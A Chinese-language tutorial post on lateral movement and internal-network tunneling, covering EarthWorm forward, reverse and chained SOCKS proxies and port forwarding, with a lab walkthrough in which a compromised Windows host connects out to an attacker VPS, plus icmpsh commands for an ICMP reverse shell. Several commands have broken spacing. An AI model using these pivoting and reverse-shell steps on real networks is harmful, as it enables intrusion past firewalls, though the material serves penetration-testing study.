赞
踩
相信我们在内网渗透的过程中总会遇到各种各样配置复杂的网络区域,有的能通DMZ、有的能互联、有的不能通外网等等。有时我们好不容易拿下了一台机器的权限,却被限制在他的网络分区中无法深入,彻夜难眠。少年不要灰心,不妨我们一起学习内网穿透的姿势,分分钟搞穿内网不是梦!
01、内网穿透原理
1)什么是内网穿透
专业点来讲内网穿透就是利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。通俗点来说,就是电脑A和电脑B分别在两个不同的局域网内,而这两个局域网分别在两个不同的NAT表后面,这时A和B之间如果要进行连接、通讯或传送数据,就需要借助内网穿透技术进行连接。
内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外,还可以解决UDP中出现的数据传输不稳定问题。
02、EarthWorm介绍
EarthWorm是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等, EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,也可以支持多平台间的转接通讯,如Linux、Windows、MacOS、Arm-Linux等。
根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
03、EarthWorm内网穿透姿势
当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的服务器,而恰巧这台机器也拥有内网IP地址,可以访问其他内网机器。
因此攻击者可以在跳板机上运行EarthWorm,执行以下命令,在1080端口上开启socks正向代理,在自己的攻击机上开启全局代理,代理到跳板机的1080端口,至此跳板机就可以将攻击者本地操作的流量转发到内网当中,从而访问到原先无法访问的内网机器,实现内网穿透。
./ew -s ssocksd-l 1080
攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对外网开放的服务器,而且可以访问到其他内网机器。
因此攻击者可以在内网跳板机上运行EarthWorm使其反向代理到某台公网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。首先在一台具有公网ip的主机上运行以下命令,将1080端口收到的代理请求转发给内网跳板机的8888端口。
./ew-s rcsocks -l 1080 -e 8888
然后在内网跳板机上启动SOCKSv5服务,并反弹到公网主机的8888端口,执行以下命令:
./ew-s rssocks -d xxx.xxx.xxx.xxx -e 8888
如果攻击者位于外网,无法访问目标网络内部的主机,但攻击者可以访问目标网络中对外暴露的跳板机1,同时还存在一台被控内网机器(跳板机2)可以访问到其他内网机器。
因此攻击者可以先连接内网跳板机1,跳板机1再主动连接跳板机2,然后再连接其他内网机器。首先在跳板机2上执行以下命令,利用ssocksd方式启动8888端口的socks代理:./ew-s ssocksd -l 8888;然后再在跳板机1上执行以下命令将本机1080端口收到的socks代理请求转交给跳板机2:./ew -s lcx_tran -l 1080 -fxxx.xxx.xxx.xxx -g 8888;
除此之外,EarthWorm还提供了自带的三条端口转发指令,参数格式如下:
./ew -slcx_listen -l 1080 -e 8888
./ew -s lcx_tran-l 1080 -f 2.2.2.2 -g 9999
./ew -slcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前。
04、EarthWorm内网穿透实战
在理解了内网穿透的原理以及EarthWorm的使用方法后,我们设计一个内网穿透场景并用EarthWorm实现。
场景模拟:假设我们现在已经拿到目标内网一台机器的权限(假设此机器类似于业务服务器,能够对外提供服务,部分端口映射至外网,我们通过漏洞成功getshell)。需要对内网做进一步的渗透,但此机器上并没装载任何内网渗透工具,现在我想要通过反向SOCKS5将我本地工具产生的流量代理进目标内网,所有靶机环境如下:
Kali Linux(攻击机,内网IP:192.168.210.38)
Ubuntu 4.4.0(攻击者控制的公网机器,公网IP:39.106.228.105)
Windows10(内网被控机,内网IP:192.168.20.35)
首先在攻击者控制的公网机器上上传EarthWorm,并执行以下命令:
./ew_for_linux-s -rcsocks -l 1080 -e 1024
让公网机器监听1080和1024端口,等待攻击者机器访问1080端口,内网机器反弹到1040端口。
然后在内网被控机上上传EarthWorm,运行如下命令:
ew_for_win_32.exe-s rssocks -d 39.106.228.105 -e 1024
让内网被控机使用反向代理的方式连接到公网的服务器上,并将流量统一转发到1040端口。
此时可以看到,公网服务器上提示:rssockscmd_socket OK!,证明已经成功与内网服务器建立了反向连接。
在攻击者本地的攻击机上,上传proxychains工具,修改配置文件,将socks5的目标地址填成公网服务器地址,端口也换成1080,这样攻击者就与公网服务器建立了socks5连接,并将流量统一转发到1080端口。
至此攻击者已经成功打通一条内网通道,攻击者可以在本地攻击机上使用任何支持socks5传输的工具,这些工具流量会经由攻击机->公网->内网机,比如内网服务器几乎不可能安装nmap工具,那么攻击者可以通过这种方法,将本地Nmap的流量转发到内网服务器中,实现内网渗透。但需要注意的是,并不是所有的工具都支持socks5代理。但总的来说还是方便不少。
05、总结
EarthWorm一共提供了六种链路状态,分别为三种可以提供socks代理功能的参数:ssocksd、rcsocks和rssocks,还有三种提供端口转发功能的参数:lcx_slave、lcx_tran和lcx_listen。在实际的渗透测试中遇到的场景可能极为复杂,多种分区与规则并存,防火墙可能无处不在,这样通过一个socks代理就很难打通一条穿透内网的线路了,更不用说访问整个内网了,这个时候就会需要位于不同网段,不同区域的节点相互配合,灵活运用正向连接、反向连接和多级连接绕过各种限制,像“蚯蚓”一样,努力在内网中“钻”出一条通路来,直达网络深处,才能最大程度的实现“内网穿透”。
vps
- git clone https://github.com/inquisb/icmpsh.git
- sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭系统Ping命令应答,使用完后改为0
- cd icmpsh
- pip install impacket
- ./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11为本机攻击ip地址,192.168.0.8是目标的公网ip地址
- #可以使用ping vpsip地址,tcpdump icmp来获取目标机器的公网ip
目标机器
icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128
防御ICMP隧道攻击的方法
隧道技术:
网络层隧道技术ICMP隧道、PingTunnel
传输层隧道技术lcx、netcat、PowerCat
应用层隧道技术HTTP、dnscat2、iodine、EW、SSH
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。